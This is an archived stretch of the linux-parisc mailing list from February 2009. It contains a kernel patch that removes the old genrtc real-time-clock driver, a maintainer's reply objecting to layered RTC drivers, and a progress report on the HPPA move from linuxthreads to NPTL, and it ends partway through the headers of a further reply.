Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LaXcN-0002YH-ER
	for glpp-linux-parisc@gmane.org; Fri, 20 Feb 2009 16:48:48 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758894AbZBTPrF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 20 Feb 2009 10:47:05 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758896AbZBTPrE
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 20 Feb 2009 10:47:04 -0500
Original-Received: from vervifontaine.sonytel.be ([80.88.33.193]:35459 "EHLO
	vervifontaine.sonycom.com" rhost-flags-OK-OK-OK-FAIL)
	by vger.kernel.org with ESMTP id S1754102AbZBTPq4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 20 Feb 2009 10:46:56 -0500
Original-Received: from vixen.sonytel.be (piraat.sonytel.be [43.221.60.197])
	by vervifontaine.sonycom.com (Postfix) with ESMTP id 02C0058C51;
	Fri, 20 Feb 2009 16:46:53 +0100 (MET)
Original-Received: from geert by vixen.sonytel.be with local (Exim 4.63)
	(envelope-from <geert@sonycom.com>)
	id 1LaXaW-0008Tc-Tz; Fri, 20 Feb 2009 16:46:52 +0100
X-Mailer: git-send-email 1.6.0.4
In-Reply-To: <1235144809-32468-5-git-send-email-Geert.Uytterhoeven@sonycom.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1302 gmane.linux.ports.ppc64.devel:52716 gmane.linux.kernel:797433
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1302>

Warning: genrtc and rtc-generic are not 100% userspace compatible:
  - /dev/rtc provided by genrtc uses a misc character device (10:135)
  - /dev/rtc provided by rtc-generic uses a dynamic character device

Signed-off-by: Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com>
---
 drivers/char/Kconfig  |   25 ---
 drivers/char/Makefile |    1 -
 drivers/char/genrtc.c |  527 -------------------------------------------------
 3 files changed, 0 insertions(+), 553 deletions(-)
 delete mode 100644 drivers/char/genrtc.c

diff --git a/drivers/char/Kconfig b/drivers/char/Kconfig
index 735bbe2..c0960a1 100644
--- a/drivers/char/Kconfig
+++ b/drivers/char/Kconfig
@@ -840,31 +840,6 @@ config JS_RTC
 	  To compile this driver as a module, choose M here: the
 	  module will be called js-rtc.
 
-config GEN_RTC
-	tristate "Generic /dev/rtc emulation"
-	depends on RTC!=y && !IA64 && !ARM && !M32R && !MIPS && !SPARC && !FRV && !S390 && !SUPERH && !AVR32 && !BLACKFIN
-	---help---
-	  If you say Y here and create a character special file /dev/rtc with
-	  major number 10 and minor number 135 using mknod ("man mknod"), you
-	  will get access to the real time clock (or hardware clock) built
-	  into your computer.
-
-	  It reports status information via the file /proc/driver/rtc and its
-	  behaviour is set by various ioctls on /dev/rtc. If you enable the
-	  "extended RTC operation" below it will also provide an emulation
-	  for RTC_UIE which is required by some programs and may improve
-	  precision in some cases.
-
-	  To compile this driver as a module, choose M here: the
-	  module will be called genrtc.
-
-config GEN_RTC_X
-	bool "Extended RTC operation"
-	depends on GEN_RTC
-	help
-	  Provides an emulation for RTC_UIE which is required by some programs
-	  and may improve precision of the generic RTC support in some cases.
-
 config EFI_RTC
 	bool "EFI Real Time Clock Services"
 	depends on IA64
diff --git a/drivers/char/Makefile b/drivers/char/Makefile
index 565e473..c9432f0 100644
--- a/drivers/char/Makefile
+++ b/drivers/char/Makefile
@@ -75,7 +75,6 @@ obj-$(CONFIG_APPLICOM)		+= applicom.o
 obj-$(CONFIG_SONYPI)		+= sonypi.o
 obj-$(CONFIG_RTC)		+= rtc.o
 obj-$(CONFIG_HPET)		+= hpet.o
-obj-$(CONFIG_GEN_RTC)		+= genrtc.o
 obj-$(CONFIG_EFI_RTC)		+= efirtc.o
 obj-$(CONFIG_DS1302)		+= ds1302.o
 obj-$(CONFIG_XILINX_HWICAP)	+= xilinx_hwicap/
diff --git a/drivers/char/genrtc.c b/drivers/char/genrtc.c
deleted file mode 100644
index aac0985..0000000
--- a/drivers/char/genrtc.c
+++ /dev/null
@@ -1,527 +0,0 @@
-/*
- *	Real Time Clock interface for
- *		- q40 and other m68k machines,
- *		- HP PARISC machines
- *		- PowerPC machines
- *      emulate some RTC irq capabilities in software
- *
- *      Copyright (C) 1999 Richard Zidlicky
- *
- *	based on Paul Gortmaker's rtc.c device and
- *           Sam Creasey Generic rtc driver
- *
- *	This driver allows use of the real time clock (built into
- *	nearly all computers) from user space. It exports the /dev/rtc
- *	interface supporting various ioctl() and also the /proc/driver/rtc
- *	pseudo-file for status information.
- *
- *	The ioctls can be used to set the interrupt behaviour where
- *	supported.
- *
- *	The /dev/rtc interface will block on reads until an interrupt
- *	has been received. If a RTC interrupt has already happened,
- *	it will output an unsigned long and then block. The output value
- *	contains the interrupt status in the low byte and the number of
- *	interrupts since the last read in the remaining high bytes. The
- *	/dev/rtc interface can also be used with the select(2) call.
- *
- *	This program is free software; you can redistribute it and/or
- *	modify it under the terms of the GNU General Public License
- *	as published by the Free Software Foundation; either version
- *	2 of the License, or (at your option) any later version.
- *
-
- *      1.01 fix for 2.3.X                    rz@linux-m68k.org
- *      1.02 merged with code from genrtc.c   rz@linux-m68k.org
- *      1.03 make it more portable            zippel@linux-m68k.org
- *      1.04 removed useless timer code       rz@linux-m68k.org
- *      1.05 portable RTC_UIE emulation       rz@linux-m68k.org
- *      1.06 set_rtc_time can return an error trini@kernel.crashing.org
- *      1.07 ported to HP PARISC (hppa)	      Helge Deller <deller@gmx.de>
- */
-
-#define RTC_VERSION	"1.07"
-
-#include <linux/module.h>
-#include <linux/errno.h>
-#include <linux/miscdevice.h>
-#include <linux/fcntl.h>
-
-#include <linux/rtc.h>
-#include <linux/init.h>
-#include <linux/poll.h>
-#include <linux/proc_fs.h>
-#include <linux/smp_lock.h>
-#include <linux/workqueue.h>
-
-#include <asm/uaccess.h>
-#include <asm/system.h>
-#include <asm/rtc.h>
-
-/*
- *	We sponge a minor off of the misc major. No need slurping
- *	up another valuable major dev number for this. If you add
- *	an ioctl, make sure you don't conflict with SPARC's RTC
- *	ioctls.
- */
-
-static DECLARE_WAIT_QUEUE_HEAD(gen_rtc_wait);
-
-/*
- *	Bits in gen_rtc_status.
- */
-
-#define RTC_IS_OPEN		0x01	/* means /dev/rtc is in use	*/
-
-static unsigned char gen_rtc_status;	/* bitmapped status byte.	*/
-static unsigned long gen_rtc_irq_data;	/* our output to the world	*/
-
-/* months start at 0 now */
-static unsigned char days_in_mo[] =
-{31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31};
-
-static int irq_active;
-
-#ifdef CONFIG_GEN_RTC_X
-static struct work_struct genrtc_task;
-static struct timer_list timer_task;
-
-static unsigned int oldsecs;
-static int lostint;
-static unsigned long tt_exp;
-
-static void gen_rtc_timer(unsigned long data);
-
-static volatile int stask_active;              /* schedule_work */
-static volatile int ttask_active;              /* timer_task */
-static int stop_rtc_timers;                    /* don't requeue tasks */
-static DEFINE_SPINLOCK(gen_rtc_lock);
-
-static void gen_rtc_interrupt(unsigned long arg);
-
-/*
- * Routine to poll RTC seconds field for change as often as possible,
- * after first RTC_UIE use timer to reduce polling
- */
-static void genrtc_troutine(struct work_struct *work)
-{
-	unsigned int tmp = get_rtc_ss();
-	
-	if (stop_rtc_timers) {
-		stask_active = 0;
-		return;
-	}
-
-	if (oldsecs != tmp){
-		oldsecs = tmp;
-
-		timer_task.function = gen_rtc_timer;
-		timer_task.expires = jiffies + HZ - (HZ/10);
-		tt_exp=timer_task.expires;
-		ttask_active=1;
-		stask_active=0;
-		add_timer(&timer_task);
-
-		gen_rtc_interrupt(0);
-	} else if (schedule_work(&genrtc_task) == 0)
-		stask_active = 0;
-}
-
-static void gen_rtc_timer(unsigned long data)
-{
-	lostint = get_rtc_ss() - oldsecs ;
-	if (lostint<0) 
-		lostint = 60 - lostint;
-	if (time_after(jiffies, tt_exp))
-		printk(KERN_INFO "genrtc: timer task delayed by %ld jiffies\n",
-		       jiffies-tt_exp);
-	ttask_active=0;
-	stask_active=1;
-	if ((schedule_work(&genrtc_task) == 0))
-		stask_active = 0;
-}
-
-/* 
- * call gen_rtc_interrupt function to signal an RTC_UIE,
- * arg is unused.
- * Could be invoked either from a real interrupt handler or
- * from some routine that periodically (eg 100HZ) monitors
- * whether RTC_SECS changed
- */
-static void gen_rtc_interrupt(unsigned long arg)
-{
-	/*  We store the status in the low byte and the number of
-	 *	interrupts received since the last read in the remainder
-	 *	of rtc_irq_data.  */
-
-	gen_rtc_irq_data += 0x100;
-	gen_rtc_irq_data &= ~0xff;
-	gen_rtc_irq_data |= RTC_UIE;
-
-	if (lostint){
-		printk("genrtc: system delaying clock ticks?\n");
-		/* increment count so that userspace knows something is wrong */
-		gen_rtc_irq_data += ((lostint-1)<<8);
-		lostint = 0;
-	}
-
-	wake_up_interruptible(&gen_rtc_wait);
-}
-
-/*
- *	Now all the various file operations that we export.
- */
-static ssize_t gen_rtc_read(struct file *file, char __user *buf,
-			size_t count, loff_t *ppos)
-{
-	unsigned long data;
-	ssize_t retval;
-
-	if (count != sizeof (unsigned int) && count != sizeof (unsigned long))
-		return -EINVAL;
-
-	if (file->f_flags & O_NONBLOCK && !gen_rtc_irq_data)
-		return -EAGAIN;
-
-	retval = wait_event_interruptible(gen_rtc_wait,
-			(data = xchg(&gen_rtc_irq_data, 0)));
-	if (retval)
-		goto out;
-
-	/* first test allows optimizer to nuke this case for 32-bit machines */
-	if (sizeof (int) != sizeof (long) && count == sizeof (unsigned int)) {
-		unsigned int uidata = data;
-		retval = put_user(uidata, (unsigned int __user *)buf) ?:
-			sizeof(unsigned int);
-	}
-	else {
-		retval = put_user(data, (unsigned long __user *)buf) ?:
-			sizeof(unsigned long);
-	}
-out:
-	return retval;
-}
-
-static unsigned int gen_rtc_poll(struct file *file,
-				 struct poll_table_struct *wait)
-{
-	poll_wait(file, &gen_rtc_wait, wait);
-	if (gen_rtc_irq_data != 0)
-		return POLLIN | POLLRDNORM;
-	return 0;
-}
-
-#endif
-
-/*
- * Used to disable/enable interrupts, only RTC_UIE supported
- * We also clear out any old irq data after an ioctl() that
- * meddles with the interrupt enable/disable bits.
- */
-
-static inline void gen_clear_rtc_irq_bit(unsigned char bit)
-{
-#ifdef CONFIG_GEN_RTC_X
-	stop_rtc_timers = 1;
-	if (ttask_active){
-		del_timer_sync(&timer_task);
-		ttask_active = 0;
-	}
-	while (stask_active)
-		schedule();
-
-	spin_lock(&gen_rtc_lock);
-	irq_active = 0;
-	spin_unlock(&gen_rtc_lock);
-#endif
-}
-
-static inline int gen_set_rtc_irq_bit(unsigned char bit)
-{
-#ifdef CONFIG_GEN_RTC_X
-	spin_lock(&gen_rtc_lock);
-	if ( !irq_active ) {
-		irq_active = 1;
-		stop_rtc_timers = 0;
-		lostint = 0;
-		INIT_WORK(&genrtc_task, genrtc_troutine);
-		oldsecs = get_rtc_ss();
-		init_timer(&timer_task);
-
-		stask_active = 1;
-		if (schedule_work(&genrtc_task) == 0){
-			stask_active = 0;
-		}
-	}
-	spin_unlock(&gen_rtc_lock);
-	gen_rtc_irq_data = 0;
-	return 0;
-#else
-	return -EINVAL;
-#endif
-}
-
-static int gen_rtc_ioctl(struct inode *inode, struct file *file,
-			 unsigned int cmd, unsigned long arg)
-{
-	struct rtc_time wtime;
-	struct rtc_pll_info pll;
-	void __user *argp = (void __user *)arg;
-
-	switch (cmd) {
-
-	case RTC_PLL_GET:
-	    if (get_rtc_pll(&pll))
-	 	    return -EINVAL;
-	    else
-		    return copy_to_user(argp, &pll, sizeof pll) ? -EFAULT : 0;
-
-	case RTC_PLL_SET:
-		if (!capable(CAP_SYS_TIME))
-			return -EACCES;
-		if (copy_from_user(&pll, argp, sizeof(pll)))
-			return -EFAULT;
-	    return set_rtc_pll(&pll);
-
-	case RTC_UIE_OFF:	/* disable ints from RTC updates.	*/
-		gen_clear_rtc_irq_bit(RTC_UIE);
-		return 0;
-
-	case RTC_UIE_ON:	/* enable ints for RTC updates.	*/
-	        return gen_set_rtc_irq_bit(RTC_UIE);
-
-	case RTC_RD_TIME:	/* Read the time/date from RTC	*/
-		/* this doesn't get week-day, who cares */
-		memset(&wtime, 0, sizeof(wtime));
-		get_rtc_time(&wtime);
-
-		return copy_to_user(argp, &wtime, sizeof(wtime)) ? -EFAULT : 0;
-
-	case RTC_SET_TIME:	/* Set the RTC */
-	    {
-		int year;
-		unsigned char leap_yr;
-
-		if (!capable(CAP_SYS_TIME))
-			return -EACCES;
-
-		if (copy_from_user(&wtime, argp, sizeof(wtime)))
-			return -EFAULT;
-
-		year = wtime.tm_year + 1900;
-		leap_yr = ((!(year % 4) && (year % 100)) ||
-			   !(year % 400));
-
-		if ((wtime.tm_mon < 0 || wtime.tm_mon > 11) || (wtime.tm_mday < 1))
-			return -EINVAL;
-
-		if (wtime.tm_mday < 0 || wtime.tm_mday >
-		    (days_in_mo[wtime.tm_mon] + ((wtime.tm_mon == 1) && leap_yr)))
-			return -EINVAL;
-
-		if (wtime.tm_hour < 0 || wtime.tm_hour >= 24 ||
-		    wtime.tm_min < 0 || wtime.tm_min >= 60 ||
-		    wtime.tm_sec < 0 || wtime.tm_sec >= 60)
-			return -EINVAL;
-
-		return set_rtc_time(&wtime);
-	    }
-	}
-
-	return -EINVAL;
-}
-
-/*
- *	We enforce only one user at a time here with the open/close.
- *	Also clear the previous interrupt data on an open, and clean
- *	up things on a close.
- */
-
-static int gen_rtc_open(struct inode *inode, struct file *file)
-{
-	lock_kernel();
-	if (gen_rtc_status & RTC_IS_OPEN) {
-		unlock_kernel();
-		return -EBUSY;
-	}
-
-	gen_rtc_status |= RTC_IS_OPEN;
-	gen_rtc_irq_data = 0;
-	irq_active = 0;
-	unlock_kernel();
-
-	return 0;
-}
-
-static int gen_rtc_release(struct inode *inode, struct file *file)
-{
-	/*
-	 * Turn off all interrupts once the device is no longer
-	 * in use and clear the data.
-	 */
-
-	gen_clear_rtc_irq_bit(RTC_PIE|RTC_AIE|RTC_UIE);
-
-	gen_rtc_status &= ~RTC_IS_OPEN;
-	return 0;
-}
-
-
-#ifdef CONFIG_PROC_FS
-
-/*
- *	Info exported via "/proc/driver/rtc".
- */
-
-static int gen_rtc_proc_output(char *buf)
-{
-	char *p;
-	struct rtc_time tm;
-	unsigned int flags;
-	struct rtc_pll_info pll;
-
-	p = buf;
-
-	flags = get_rtc_time(&tm);
-
-	p += sprintf(p,
-		     "rtc_time\t: %02d:%02d:%02d\n"
-		     "rtc_date\t: %04d-%02d-%02d\n"
-		     "rtc_epoch\t: %04u\n",
-		     tm.tm_hour, tm.tm_min, tm.tm_sec,
-		     tm.tm_year + 1900, tm.tm_mon + 1, tm.tm_mday, 1900);
-
-	tm.tm_hour = tm.tm_min = tm.tm_sec = 0;
-
-	p += sprintf(p, "alarm\t\t: ");
-	if (tm.tm_hour <= 24)
-		p += sprintf(p, "%02d:", tm.tm_hour);
-	else
-		p += sprintf(p, "**:");
-
-	if (tm.tm_min <= 59)
-		p += sprintf(p, "%02d:", tm.tm_min);
-	else
-		p += sprintf(p, "**:");
-
-	if (tm.tm_sec <= 59)
-		p += sprintf(p, "%02d\n", tm.tm_sec);
-	else
-		p += sprintf(p, "**\n");
-
-	p += sprintf(p,
-		     "DST_enable\t: %s\n"
-		     "BCD\t\t: %s\n"
-		     "24hr\t\t: %s\n"
-		     "square_wave\t: %s\n"
-		     "alarm_IRQ\t: %s\n"
-		     "update_IRQ\t: %s\n"
-		     "periodic_IRQ\t: %s\n"
-		     "periodic_freq\t: %ld\n"
-		     "batt_status\t: %s\n",
-		     (flags & RTC_DST_EN) ? "yes" : "no",
-		     (flags & RTC_DM_BINARY) ? "no" : "yes",
-		     (flags & RTC_24H) ? "yes" : "no",
-		     (flags & RTC_SQWE) ? "yes" : "no",
-		     (flags & RTC_AIE) ? "yes" : "no",
-		     irq_active ? "yes" : "no",
-		     (flags & RTC_PIE) ? "yes" : "no",
-		     0L /* freq */,
-		     (flags & RTC_BATT_BAD) ? "bad" : "okay");
-	if (!get_rtc_pll(&pll))
-	    p += sprintf(p,
-			 "PLL adjustment\t: %d\n"
-			 "PLL max +ve adjustment\t: %d\n"
-			 "PLL max -ve adjustment\t: %d\n"
-			 "PLL +ve adjustment factor\t: %d\n"
-			 "PLL -ve adjustment factor\t: %d\n"
-			 "PLL frequency\t: %ld\n",
-			 pll.pll_value,
-			 pll.pll_max,
-			 pll.pll_min,
-			 pll.pll_posmult,
-			 pll.pll_negmult,
-			 pll.pll_clock);
-	return p - buf;
-}
-
-static int gen_rtc_read_proc(char *page, char **start, off_t off,
-			     int count, int *eof, void *data)
-{
-	int len = gen_rtc_proc_output (page);
-        if (len <= off+count) *eof = 1;
-	*start = page + off;
-	len -= off;
-        if (len>count) len = count;
-        if (len<0) len = 0;
-	return len;
-}
-
-static int __init gen_rtc_proc_init(void)
-{
-	struct proc_dir_entry *r;
-
-	r = create_proc_read_entry("driver/rtc", 0, NULL, gen_rtc_read_proc, NULL);
-	if (!r)
-		return -ENOMEM;
-	return 0;
-}
-#else
-static inline int gen_rtc_proc_init(void) { return 0; }
-#endif /* CONFIG_PROC_FS */
-
-
-/*
- *	The various file operations we support.
- */
-
-static const struct file_operations gen_rtc_fops = {
-	.owner		= THIS_MODULE,
-#ifdef CONFIG_GEN_RTC_X
-	.read		= gen_rtc_read,
-	.poll		= gen_rtc_poll,
-#endif
-	.ioctl		= gen_rtc_ioctl,
-	.open		= gen_rtc_open,
-	.release	= gen_rtc_release,
-};
-
-static struct miscdevice rtc_gen_dev =
-{
-	.minor		= RTC_MINOR,
-	.name		= "rtc",
-	.fops		= &gen_rtc_fops,
-};
-
-static int __init rtc_generic_init(void)
-{
-	int retval;
-
-	printk(KERN_INFO "Generic RTC Driver v%s\n", RTC_VERSION);
-
-	retval = misc_register(&rtc_gen_dev);
-	if (retval < 0)
-		return retval;
-
-	retval = gen_rtc_proc_init();
-	if (retval) {
-		misc_deregister(&rtc_gen_dev);
-		return retval;
-	}
-
-	return 0;
-}
-
-static void __exit rtc_generic_exit(void)
-{
-	remove_proc_entry ("driver/rtc", NULL);
-	misc_deregister(&rtc_gen_dev);
-}
-
-
-module_init(rtc_generic_init);
-module_exit(rtc_generic_exit);

From - Thu Nov 08 21:03:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alessandro Zummo <alessandro.zummo@towertech.it>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.kernel
Subject: Re: [rtc-linux] [PATCH/RFC 0/5] Generic RTC class driver
Date: Fri, 20 Feb 2009 17:04:54 +0100
Organization: Tower Technologies
Lines: 49
Approved: news@gmane.org
Message-ID: <20090220170454.04382e9e@i1501.lan.towertech.it>
References: <1235144809-32468-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1235145980 13398 80.91.229.12 (20 Feb 2009 16:06:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 20 Feb 2009 16:06:20 +0000 (UTC)
Cc: Geert.Uytterhoeven@sonycom.com, Kyle McMartin <kyle@mcmartin.ca>,
	David Woodhouse <dwmw2@infradead.org>,
	Richard Zidlicky <rz@linux-m68k.org>,
	linux-parisc@vger.kernel.org, linuxppc-dev@ozlabs.org,
	linux-m68k@lists.linux-m68k.org, linux-kernel@vger.kernel.org
To: rtc-linux@googlegroups.com
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Feb 20 17:07:33 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LaXte-0001k9-Dl
	for glpp-linux-parisc@gmane.org; Fri, 20 Feb 2009 17:06:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754439AbZBTQFA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 20 Feb 2009 11:05:00 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754431AbZBTQE7
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 20 Feb 2009 11:04:59 -0500
Original-Received: from mx0.towertech.it ([213.215.222.73]:38754 "HELO mx0.towertech.it"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with SMTP
	id S1751891AbZBTQE6 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 20 Feb 2009 11:04:58 -0500
Original-Received: (qmail 6413 invoked from network); 20 Feb 2009 17:04:54 +0100
Original-Received: from unknown (HELO i1501.lan.towertech.it) (81.208.60.204)
  by mx0.towertech.it with SMTP; 20 Feb 2009 17:04:54 +0100
In-Reply-To: <1235144809-32468-1-git-send-email-Geert.Uytterhoeven@sonycom.com>
X-Mailer: Sylpheed
X-This-Is-A-Real-Message: Yes
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1303 gmane.linux.ports.ppc64.devel:52717 gmane.linux.kernel:797440
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1303>

On Fri, 20 Feb 2009 16:46:44 +0100
Geert Uytterhoeven <Geert.Uytterhoeven@sonycom.com> wrote:

> Fortunately there already exists a generic RTC class driver: "rtc-parisc".
> Despite it's name, it's platform-independent, as it's build on top of the RTC
> abstraction used by "genrtc".
> 
> This patch series
>   - adds a missing module alias to rtc-parisc,
>   - renames rtc-parisc to rtc-generic,
>   - converts the architectures that currently have CONFIG_GEN_RTC enabled in
>     their defconfig (m68k, parisc, powerpc) to rtc-generic,
>   - removes the obsolete rtc-ppc driver,
>   - removes the old genrtc driver.
>   
> Note that genrtc may be used on other archictectures as well: at least alpha
> has the required infrastructure ([gs]et_rtc_time()). The Kconfig rules allow
> genrtc to be enabled on several others (cris, h8300, mn10300, um, x86, xtensa).
> 
> Furthermore genrtc and rtc-generic are not 100% userspace compatible:
>   - /dev/rtc provided by genrtc uses a misc character device (10:135),
>   - /dev/rtc provided by rtc-generic uses a dynamic character device.

 Hello,

   my opinion on this kind of stuff is that I want to avoid the layering
 of implementations under the rtc subsystem. I'd rather prefer that each
 rtc device had its own driver. 
 
  I've made error in the past, by accepting such kind of drivers, and
 would like to avoid that it happens again.

  Regarding the user space, the assumption that a device has
 a fixed major:minor number should be dropped as well.

-- 

 Best regards,

 Alessandro Zummo,
  Tower Technologies - Torino, Italy

  http://www.towertech.it

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: HPPA transition from linuxthreads to nptl.
Date: Sat, 21 Feb 2009 09:06:28 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <119aab440902210606y4d7995cbu65f4ed1d7a660104@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1235225207 23140 80.91.229.12 (21 Feb 2009 14:06:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 21 Feb 2009 14:06:47 +0000 (UTC)
To: Debian HPPA Port List <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Feb 21 15:07:59 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LasWI-0005VW-FU
	for glpp-linux-parisc@gmane.org; Sat, 21 Feb 2009 15:07:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752811AbZBUOGb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 21 Feb 2009 09:06:31 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752816AbZBUOGb
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 21 Feb 2009 09:06:31 -0500
Original-Received: from mail-qy0-f11.google.com ([209.85.221.11]:35500 "EHLO
	mail-qy0-f11.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752811AbZBUOGa (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 21 Feb 2009 09:06:30 -0500
Original-Received: by qyk4 with SMTP id 4so2047176qyk.13
        for <linux-parisc@vger.kernel.org>; Sat, 21 Feb 2009 06:06:28 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:date
         :x-google-sender-auth:message-id:subject:from:to:content-type
         :content-transfer-encoding;
        bh=51PlL14Mbf7lhrYBABMchBtMEue1hYWNfKl9nHXm8Tc=;
        b=Sm/uup7Ugh7ffIQHargDjKFnxzrP+5TV38iggCvzChh3vphO4rJdnhEg6iRP+3+K+Q
         zjHE2BM7G1Yb18dqJ0e/kcpmwmBe8boQ1iZCy5+qTHzniM9/bYMchU4FmXAFkEWvyW8T
         tzyyJ9hQ8El7bKG/ueaiP6Lb7ICnTNSlZy0kY=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type:content-transfer-encoding;
        b=usUN2tlbvyPzBHbj+Fx3+afMCPBOaq7fJZ0ZWqy2POBXrVEtOtQzAR4V7BSJmnuUst
         NgkagiPGksZZMDeYaud7kZQ7JqsxaAVh7wxzYvZX/tXUl5AOzOr4ytYKd7U2ULqY2PUC
         H/VlrkkEeFq/eznKk7WIKOb1cjol30abh9haY=
Original-Received: by 10.229.94.148 with SMTP id z20mr921469qcm.106.1235225188869; Sat, 
	21 Feb 2009 06:06:28 -0800 (PST)
X-Google-Sender-Auth: f263985d3dd50bbb
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1304 gmane.linux.debian.ports.hppa:5612
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1304>

debian-hppa, linux-parisc,

I've been working on the linuxthreads to nptl transition over
the past week and I have had promising results. I managed
to debug several critical issues, and no blockers remain in
the implementation of compat symbols to fix the ABI transition.

This implementation is the first ports target to attempt to
override symbols in the nptl add-on, and as such the initial
implementation has a lot of code duplication which I hope
to reduce via future patches to libc proper. There were aslo
several stumbling blocks in being the first.

At present I have an initial implementation complete, along
with a testsuite to prove the implementation is correct.
Currently I am debugging the testsuite, because some of
the expected tests are not passing.

I will keep the list updated on my progress.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Luk Claes <luk@debian.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: HPPA transition from linuxthreads to nptl.
Date: Sat, 21 Feb 2009 16:14:04 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <49A01A3C.4040609@debian.org>
References: <119aab440902210606y4d7995cbu65f4ed1d7a660104@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1235229255 2227 80.91.229.12 (21 Feb 2009 15:14:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 21 Feb 2009 15:14:15 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: Debian HPPA Port List <debian-hppa@lists.debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Feb 21 16:15:30 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LatZe-0000VN-MU
	for glpp-linux-parisc@gmane.org; Sat, 21 Feb 2009 16:15:27 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752183AbZBUPOE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
